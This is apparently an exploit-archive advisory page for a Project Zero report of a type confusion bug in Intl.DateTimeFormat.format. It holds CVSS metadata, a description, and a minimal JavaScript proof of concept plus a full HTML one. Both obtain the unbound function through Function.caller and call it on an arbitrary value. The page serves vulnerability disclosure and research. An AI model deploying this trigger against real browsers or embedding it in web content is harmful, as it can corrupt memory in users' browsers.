Type Confusion Vulnerability in DateTimeFormat.format

vendor:

N/A

by:

Project Zero

7,5

CVSS

HIGH

Type Confusion

843

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Type Confusion Vulnerability in DateTimeFormat.format

When calling DateTimeFormat.format, the function is provided as a bound function by a getter in the DateTimeFormat class. Binding the function ensures that the this object is of the right type. However, when the bound function is called, it calls into user script when converting the date parameter, which can call Function.caller, obtaining the unbound function. This type unsafe function can then be called on any type.

Mitigation:

Ensure that the DateTimeFormat.format function is called with the correct type.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1036

There is a type confusion vulnerability when calling DateTimeFormat.format. This function is provided as a bound function by a getter in the DateTimeFormat class. Binding the function ensures that the this object is of the right type. However, when the bound function is called, it calls into user script when converting the date parameter, which can call Function.caller, obtaining the unbound function. This type unsafe function can then be called on any type.

A minimal PoC is as follows, and a full PoC is attached. 


var i = new Intl.DateTimeFormat();
var q;

function f(){
	q = f.caller;
	return 10;
}


i.format({valueOf : f});

q.call(0x77777777);
-->

<html>
<body>
<script>

var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));

var i = new Intl.DateTimeFormat();

//print(i);

var q;

function f(){

	//print("in f");
	//print(f.caller);
	q = f.caller;
	return 10;
}

try{
i.format({valueOf : f});
}catch(e){

	//print("problem");

}

//print(q);
q.call(0x77777777);

</script>
</body>
</html>